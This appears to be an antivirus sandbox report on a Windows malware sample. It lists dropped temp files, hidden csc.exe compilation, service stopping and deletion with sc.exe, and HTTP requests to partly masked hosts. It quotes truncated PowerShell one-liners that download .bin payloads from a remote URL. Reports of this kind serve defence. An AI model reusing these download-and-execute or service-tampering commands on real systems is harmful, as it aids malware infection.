Technical Information
Malicious functions
Creates and executes the following
- '<SYSTEM32>\windowspowershell\v1.0\zvrpgtafymn.exe' -
Modifies file system
Creates the following files
- %TEMP%\kr.bin
- %TEMP%\i3ribgr3.0.cs
- %TEMP%\i3ribgr3.cmdline
- %TEMP%\i3ribgr3.out
- %TEMP%\csce677.tmp
- %TEMP%\rese698.tmp
- %TEMP%\i3ribgr3.dll
- %TEMP%\if.bin
- %TEMP%\rpso-1ur.0.cs
- %TEMP%\rpso-1ur.cmdline
- %TEMP%\rpso-1ur.out
- %TEMP%\csc3dda.tmp
- %TEMP%\res3dfa.tmp
- %TEMP%\m6.bin
- %TEMP%\rpso-1ur.dll
Deletes the following files
- %TEMP%\rese698.tmp
- %TEMP%\csce677.tmp
- %TEMP%\i3ribgr3.pdb
- %TEMP%\i3ribgr3.out
- %TEMP%\i3ribgr3.dll
- %TEMP%\i3ribgr3.cmdline
- %TEMP%\i3ribgr3.0.cs
- %TEMP%\res3dfa.tmp
- %TEMP%\csc3dda.tmp
- %TEMP%\rpso-1ur.pdb
- %TEMP%\rpso-1ur.cmdline
- %TEMP%\rpso-1ur.dll
- %TEMP%\rpso-1ur.0.cs
- %TEMP%\rpso-1ur.out
Network activity
TCP
HTTP GET requests
- http://d.##kng.com/if.bin?&g############################################################
- http://d.##kng.com/m6.bin?&g############################################################
- http://d.##kng.com/kr.bin?&g############################################################
- http://t.##ynx.com/report.jsp?&g#################################################################################################################################################################...
- http://d.##kng.com/if_mail.bin?&g################################################################################################################################################################...
UDP
- DNS ASK d.##kng.com
- DNS ASK t.##ynx.com
Miscellaneous
Creates and executes the following
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\i3ribgr3.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESE698.tmp" "%TEMP%\CSCE677.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\rpso-1ur.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES3DFA.tmp" "%TEMP%\CSC3DDA.tmp"' (with hidden window)
Executes the following
- '<SYSTEM32>\cmd.exe' /c echo try{$localIf=$flase;New-Object Threading.Mutex($true,'Global\eLocalIf',[ref]$localIf)}catch{};$ifmd5='85a6b73fd5b08e0330c10f1e8f8d1158';$ifp=$env:tmp+'\if.bin';$down_url='http://d.#####...
- '<SYSTEM32>\cmd.exe' /c echo try{$localTMn=$flase;New-Object Threading.Mutex($true,'Global\eLocalTMn',[ref]$localTMn)}catch{};$ifmd5='dcd9144d509e7c6e1e63ecdd7e50e935';$ifp=$env:tmp+'\m6.bin';$down_url='http://d.##...
- '<SYSTEM32>\cmd.exe' /c echo try{$localKr=$flase;New-Object Threading.Mutex($true,'Global\eLocalKr',[ref]$localKr)}catch{};$ifmd5='e04acec7ab98362d87d1c53d84fc4b03';$ifp=$env:tmp+'\kr.bin';$down_url='http://d.#####...
- '<SYSTEM32>\cmd.exe' /S /D /c" echo try{$localIf=$flase;New-Object Threading.Mutex($true,'Global\eLocalIf',[ref]$localIf)}catch{};$ifmd5='85a6b73fd5b08e0330c10f1e8f8d1158';$ifp=$env:tmp+'\if.bin';$down_url='http://...
- '<SYSTEM32>\cmd.exe' /S /D /c" echo try{$localKr=$flase;New-Object Threading.Mutex($true,'Global\eLocalKr',[ref]$localKr)}catch{};$ifmd5='e04acec7ab98362d87d1c53d84fc4b03';$ifp=$env:tmp+'\kr.bin';$down_url='http://...
- '<SYSTEM32>\cmd.exe' /S /D /c" echo try{$localTMn=$flase;New-Object Threading.Mutex($true,'Global\eLocalTMn',[ref]$localTMn)}catch{};$ifmd5='dcd9144d509e7c6e1e63ecdd7e50e935';$ifp=$env:tmp+'\m6.bin';$down_url='http...
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\i3ribgr3.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RESE698.tmp" "%TEMP%\CSCE677.tmp"
- '<SYSTEM32>\sc.exe' Config xWinWpdSrv Start= Disabled
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\rpso-1ur.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES3DFA.tmp" "%TEMP%\CSC3DDA.tmp"
- '<SYSTEM32>\sc.exe' Stop xWinWpdSrv
- '<SYSTEM32>\sc.exe' Delete xWinWpdSrv
- '<SYSTEM32>\sc.exe' Config SVSHost Start= Disabled
- '<SYSTEM32>\sc.exe' Stop SVSHost
